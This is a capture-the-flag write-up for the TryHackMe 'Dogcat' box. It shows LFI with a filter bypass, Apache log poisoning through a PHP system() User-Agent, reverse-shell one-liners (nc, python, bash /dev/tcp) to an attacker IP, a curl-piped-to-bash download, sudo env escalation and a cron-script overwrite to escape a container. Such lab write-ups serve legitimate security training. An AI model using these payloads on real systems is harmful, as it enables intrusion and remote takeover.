Dogcat TryHackMe Write Up
I made this website for viewing cat and dog images with PHP. If you’re feeling down, come look at some dogs/cats! This machine may take a few minutes to fully start up.
Dogcat is a medium rated linux box on TryHackMe by jammy. Using LFI, we retrieve the content of the PHP files on the webserver and use ability to read Apache log files to get a shell on a docker container as www-data and finally using a cron we manage to get a root shell on the host.
Port Scan
All Port Scan
local@local:~/Documents/tryhackme/dogcat$ nmap -p- --min-rate 10000 -v 10.10.20.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-17 15:22 +0545
Nmap scan report for 10.10.20.161
Host is up (0.40s latency).
Not shown: 65451 closed ports, 82 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.27 seconds
Detail Scan
local@local:~/Documents/tryhackme/dogcat$ nmap -p22,80 -sC -sV 10.10.20.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-17 15:23 +0545
Nmap scan report for 10.10.20.161
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
| 256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_ 256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds
HTTP service on Port 80
Here we have two options which we like to see, ie either a dog or a cat.
Clicking on dog
Directory and folder bruteforcing
local@local:~/Documents/tryhackme/dogcat$ gobuster dir -u http://10.10.20.161/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.20.161/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/11/17 15:23:57 Starting gobuster
===============================================================
/index.php (Status: 200)
/cat.php (Status: 200)
/flag.php (Status: 200)
/cats (Status: 301)
/dogs (Status: 301)
/dog.php (Status: 200)
Lets analayse the previous request on burp. Since on the request there was /?view=dog
, and result of gobuster shows us that it contain a file called dog.php, So I thought the view parameter might be loading a file and appending .php at the end.
Hypothesis
if isset($_GET['view']){
include($_GET['view'] . 'php')
}
Request
GET /?view=dog.php HTTP/1.1
Host: 10.10.20.161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.20.161/
Upgrade-Insecure-Requests: 1
Partial Request
</b>: include(): Failed opening 'dog.php.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b>
And it turns out our hypothesis is actually correct. Now, lets try to include a /etc/passwd file and try use null byte %00 to terminate and neutralize that appended .php string. This works for php 5 but not for php 7.
Request
/?view=../../../../../../etc/passwd%00
Response
Sorry, only dogs or cats are allowed.
It turns out there is some checks on the backend that only supports the filename with dogs and cats.
Updated Hypothesis
if (isset($_GET['view']) and 'dog | cat' in $_GET['cmd']){
include($_GET['view'] . 'php');
}
else{
echo 'Sorry, only dogs or cats are allowed.';
}
If this is the case we can easily bypass this using /?view=dog../../../../../../etc/passwd%00
Request
/?view=dog../../../../../../etc/passwd%00
Request
</b>: include(): Failed opening 'dog../../../../../../etc/passwd' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b>
We get a different error this time which means the check is bypassed and looks like we can only include php files but the problem with that is we can not actually view them as the code will be executed.
Lets check if we can include other php files.
Request
/?view=dog../../../../../../var/www/html/index
Response
</b>: Cannot redeclare containsStr() (previously declared in /var/www/html/index.php:17) in <b>/var/www/html/index.php</b>
Looks like it worked and is not included as it is already included on the php script.
Extracting the content of php file using the php filters
Request
/?view=php://filter/convert.base64-encode/resource=dog../../../../../../var/www/html/index
Response
Here you go!PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0b+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlY+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxka+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZ+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhd+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48Y+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmVXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg==
Decoded content
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
Looking at the source code, it looks like we have a lfi where we can extract the content of any files we want as we can use ext parameter to specify the extension of the file we want to read.
LFI to RCE
We can read sensitive files, so what? It would be great if we could read a private key for a user if he/she has one in his/her .ssh directory. But turned out here was not. So I kept searching for the ways to use this lfi to get rce. This post explains different ways to achieve code execution using a local file inclusion. We can achieve this if we have permissions to read one of these files:
- /var/log/apache/access.log
- /var/log/apache/error.log
- /var/log/vsftpd.log
- /var/log/sshd.log
- /var/log/mail
- /proc/self/environ
- /proc/self/fd
I manually checked if our user has permissions to read any of the log file and it turned out that we can read apache2 log file in /var/log/apache2/access.log.
As the User-Agent is reflected on the page, lets make a request with <?php system($_GET['cmd'] ?>
as our User-Agent.
Request
GET / HTTP/1.1
Host: 10.10.100.11
User-Agent: <?php system($_GET['cmd']) ; ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Trying to execute code
We get code execution.
Getting a reverse shell as www-data
Listening on our box
local@local:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001
I like to host a file on python server and get it on the server and execute it to get the shell.
Content of shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1
Starting a python server
eddevil@local:~/Documents/tryhackme/dogcat$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Downloading and Executing the payload
GET /?view=dog../../../../../../../../var/log/apache2/access.log&ext=&cmd=curl%20%2010.6.31.213:8000/shell.sh%20|%20bash
And if we check the netcat listener we get a shell back.
local@local:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.100.11 48928
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@15c6fc793861:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@15c6fc793861:/var/www/html$
Privilege Escalation
Looking on the root directory, we can see the .dockerenv file which indicates that we are inside a docker container.
www-data@15c6fc793861:/var/www/html$ ls -la /
ls -la /
total 80
drwxr-xr-x 1 root root 4096 Nov 18 06:52 .
drwxr-xr-x 1 root root 4096 Nov 18 06:52 ..
-rwxr-xr-x 1 root root 0 Nov 18 06:52 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 26 2020 bin
drwxr-xr-x 2 root root 4096 Feb 1 2020 boot
drwxr-xr-x 5 root root 340 Nov 18 06:52 dev
drwxr-xr-x 1 root root 4096 Nov 18 06:52 etc
drwxr-xr-x 2 root root 4096 Feb 1 2020 home
drwxr-xr-x 1 root root 4096 Feb 26 2020 lib
drwxr-xr-x 2 root root 4096 Feb 24 2020 lib64
drwxr-xr-x 2 root root 4096 Feb 24 2020 media
drwxr-xr-x 2 root root 4096 Feb 24 2020 mnt
drwxr-xr-x 1 root root 4096 Nov 18 06:52 opt
dr-xr-xr-x 106 root root 0 Nov 18 06:52 proc
drwx------ 1 root root 4096 Mar 10 2020 root
drwxr-xr-x 1 root root 4096 Feb 26 2020 run
drwxr-xr-x 1 root root 4096 Feb 26 2020 sbin
drwxr-xr-x 2 root root 4096 Feb 24 2020 srv
dr-xr-xr-x 13 root root 0 Nov 18 07:06 sys
drwxrwxrwt 1 root root 4096 Nov 18 07:06 tmp
drwxr-xr-x 1 root root 4096 Feb 24 2020 usr
drwxr-xr-x 1 root root 4096 Feb 26 2020 var
Checking sudo -l
www-data@15c6fc793861:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on 15c6fc793861:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 15c6fc793861:
(root) NOPASSWD: /usr/bin/env
Getting a root shell
www-data@15c6fc793861:/var/www/html$ sudo /usr/bin/env /bin/sh
sudo /usr/bin/env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
Root shell on the host
Looking around there is a backup directory in /opt
ls -la /opt
total 12
drwxr-xr-x 1 root root 4096 Nov 18 06:52 .
drwxr-xr-x 1 root root 4096 Nov 18 06:52 ..
drwxr-xr-x 2 root root 4096 Apr 8 2020 backups
Content inside /opt/backups
ls -la /opt/backups
total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Nov 18 06:52 ..
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Nov 18 07:09 backup.tar
Content of backup.sh
cat /opt/backups/backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
This script makes the backup of everything inside /root/container directory and makes a archive called backup.tar which we also can see on /opt/backups inside the docker container.
Checking if the backup is done periodically
ls -la /opt/backups/
total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Nov 18 06:52 ..
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Nov 18 07:11 backup.tar
The timestamp on the previous backup.tar was 07:09 and the timestamp on the new one is 07:11 which means the script is being executed using cron job in some time interval. As we are root on the docker container, lets update the content of the backup.sh with our reverse shell content and get a reverse shell as root on the host box.
Listening on local box
local@local:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Downloading shell.sh
which curl
/usr/bin/curl
curl 10.6.31.213:8000/shell.sh -o /opt/backups/backup.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 581 100 581 0 0 798 0 --:--:-- --:--:-- --:--:-- 796
cat /opt/backups/backup.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1
Then we wait for the cron to execute the script. And if we check the netcat listener after some time, we get a shell.
local@local:~/Documents/tryhackme/dogcat$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.100.11 56502
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
Reading root flag
# ls -la /root
total 40
drwx------ 6 root root 4096 Apr 8 2020 .
drwxr-xr-x 24 root root 4096 Apr 8 2020 ..
lrwxrwxrwx 1 root root 9 Mar 10 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Apr 8 2020 .cache
drwxr-xr-x 5 root root 4096 Mar 10 2020 container
-rw-r--r-- 1 root root 80 Mar 10 2020 flag4.txt
drwx------ 3 root root 4096 Apr 8 2020 .gnupg
drwxr-xr-x 3 root root 4096 Apr 8 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Mar 10 2020 .selected_editor
# cat /root/flag4.txt
THM{esc******ns_on_es*******s_on_es*****ions_7a52b1*************cba02d}
#